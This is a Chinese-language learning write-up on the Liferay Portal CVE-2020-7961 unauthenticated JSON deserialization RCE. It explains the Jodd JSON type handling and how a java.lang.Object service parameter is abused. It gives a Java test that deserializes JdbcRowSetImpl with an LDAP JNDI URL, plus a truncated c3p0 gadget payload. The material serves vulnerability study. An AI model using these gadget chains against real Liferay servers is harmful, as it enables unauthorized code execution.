Liferay Portal CVE-2020-7961 学习记录(7.0以上回显)

前几天看大家也都在分析该CVE,自己也跟着大佬步伐记录一下所学和思路。
code white | Blog: Liferay Portal JSON Web Service RCE Vulnerabilities
根据以上博客得出几个复现漏洞的点。

漏洞形成前提

版本小于:6.2 GA6、7.0 GA7、7.1 GA4、7.2 GA2

漏洞实现版本区别,本文只学习了 7.0 以上版本的相关复现:
小于7.0使用 Flexjson
大于7.0使用 Jodd Json

区别为jodd json不支持直接传递对象类型,需要使用map映射或者setClassMetadataName函数才能指定对象类型类似于fastjson,jackson的安全限制,但是由于jodd没有上面这2个库那么多黑名单限制所以更容易构造反序列化漏洞。

debug环境

  1. docker: mdelapenya/liferay-portal:7.0-ga6
  2. idea 设置remote调试填写socket端口即可

漏洞复现的关键点

根据网络上的博客总结出以下几点:

  1. Json services 服务接口存在java.lang.object参数调用这样就可以被指定为任意类型从而传递任意恶意类
  2. 使用jodd指定任意类型导致反序列化命令执行:不安全的反序列化 会执行内部无参构造方法和setter方法和父类构造方法
  3. 反序列化在接口认证之前所以构成未授权远程命令执行.

构造payloads

  1. 找出/api/jsonws服务接口中可以调用java.lang.object参数的服务名
  2. 找出jodd json可以构造无参和setter方法执行的利用链
  3. 尝试进行回显

1. 寻找对象java.lang.object

先进行第一步找出api/jsonws接口或者代码里搜索接口传递参数为object的服务接口
这里找到updateColumn接口发现参数接收java.lang.object:

接下来我们构造接口传递任意类型给defaultData参数最终会进行jodd json库的反序列化,那我们先进行jodd json反序列化的本地测试

2. 测试jodd json不安全的反序列化

具体本地测试jodd不安全反序列化可参考:
https://paper.seebug.org/1162/

这里分享以下本地测试jodd json反序列化遇到一个坑:
测试时需要按照liferay的调用方法使用jodd中的map方法进行反序列化操作具体原因见差异:

1
2
\com\liferay\portal\json\JSONDeserializerImpl.class#22
this._jsonDeserializer.map(path, clazz);
  • 过程反序列化部分payload差异1
1
2
3
4
5
6
7
8
9
10
11
12
13
public class Test1 {
public static void main(String[] args) {
JsonParser jsonParser = new JsonParser();
String testjson = "{\"class\":\"com.sun.rowset.JdbcRowSetImpl\"}";

// 造成读取hashmap setter不按自己逻辑执行
jsonParser.setClassMetadataName("class").parse(testjson);

// 自动设置roottype按顺序读取key value
String testjson1 = "{\"dataSourceName\":\"ldap://127.0.0.1:1389\", \"autoCommit\":true}";
jsonParser.map((String)null, JdbcRowSetImpl.class).parse(testjson1);
}
}

根据官网设置setClassMetadataName最终key value被加载进hashmap由于hashmap按key排序取key会按照排序顺序导致a开头的autoCommit被提前执行SetautoCommit无法找到dataSourceName的jndi服务:
jsonParser.setClassMetadataName(“class”).parse(testjson);

map调用方式会按照输入json数据流的顺序取值因为targetype被rootype赋值isTargetRealTypeMap按代码逻辑被设置为false, 从HTTP请求中解析json会按照自己设置的顺序读取:
jsonParser.map((String)null, JdbcRowSetImpl.class).parse(testjson);

当然如果只有一个参数的利用链就不受到排序影响,在Liferay使用的map函数所以也不会受到影响.

3. 调用反序列化执行

官网关于java.lang.object参数传值调用方式介绍:
https://help.liferay.com/hc/en-us/articles/360018166391-Invoking-JSON-Web-Services-#object-parameters

参数名为 +参数名:类名=值:

执行分析流程图 (打开放大)

构造回显payload

  1. 先将所有存在的jar包拉出,检索存在可能的链,其实允许构造方法和setter任意访问 jackson,fastjson多个payload通用
  2. 需要考虑利用链中组件的版本
  3. 需要考虑当前JDK版本

发现lib下存在以下依赖包:

1
2
3
4
c3p0.jar
commons-beanutils.jar
commons-collections.jar (3.1)
commons-logging.jar

此时可以参考marshalsec中的jackson利用方法:
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource

docker环境下liferay-portal:7.0-ga6 jdk版本为1.8.221所以有部分gadgets受到jdk版本影响无法执行:

1
2
3
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource:

{"userOverridesAsString":"HexAsciiSerializedMap:aced0005737"}

当触发setuserOveridesAsString函数最终将会把hex反序列化造成触发恶意代码,此时替换成合适且符合jdk1.8.211和内置的库中的版本需求就可以尝试构造回显:

寻找那些实现了各种request response函数的接口,通过类去搜索,在那些代码被调用

最好先将所有jar包反编译否则搜索匹配字会出问题

如无特殊说明,均为原创内容。转载请注明出处!